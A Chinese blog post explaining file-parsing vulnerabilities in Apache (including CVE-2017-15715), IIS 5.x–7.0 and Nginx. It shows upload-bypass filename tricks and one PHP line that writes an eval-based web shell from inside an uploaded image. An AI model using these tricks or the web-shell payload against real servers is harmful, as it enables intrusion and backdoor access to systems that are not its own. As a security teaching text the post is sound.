web安全——中间件解析漏洞

中间件解析漏洞

Apache解析漏洞

漏洞原理

  Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。

漏洞形式

http://www.xxxx.xxx.com/test.php.php123

其余配置问题导致漏洞

(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。

(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

(3)Apache解析漏洞(CVE-2017-15715)绕过上传黑名单

我们利用CVE-2017-15715,上传一个包含换行符的文件。注意,只能是\x0A,不能是\x0D\x0A,所以我们用hex功能在1.php后面添加一个\x0A:

然后访问/1.php%0A,即可发现已经成功getshell:

IIS5.x-6.x解析漏洞

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

目录解析(6.0)

形式:http://www.xxx.com/xx.asp/xx.jpg

原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

文件解析

形式:http://www.xxx.com/xx.asp;.jpg

原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种 :

/test.asa

/test.cer

/test.cdx

畸形解析漏洞(test.jpg/*.php)

在IIS7.0中,默认Fast-CGI开启状况下,我们往图片里面写入下面的代码:<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>')?>将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用了。test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行。

Nginx解析漏洞

解析:(任意文件名)/(任意文件名).php | (任意文件名)%00.php

描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php

的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。

还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。

posted @ 2021-09-16 22:22  学安全的小白  阅读(2967)  评论(0编辑  收藏  举报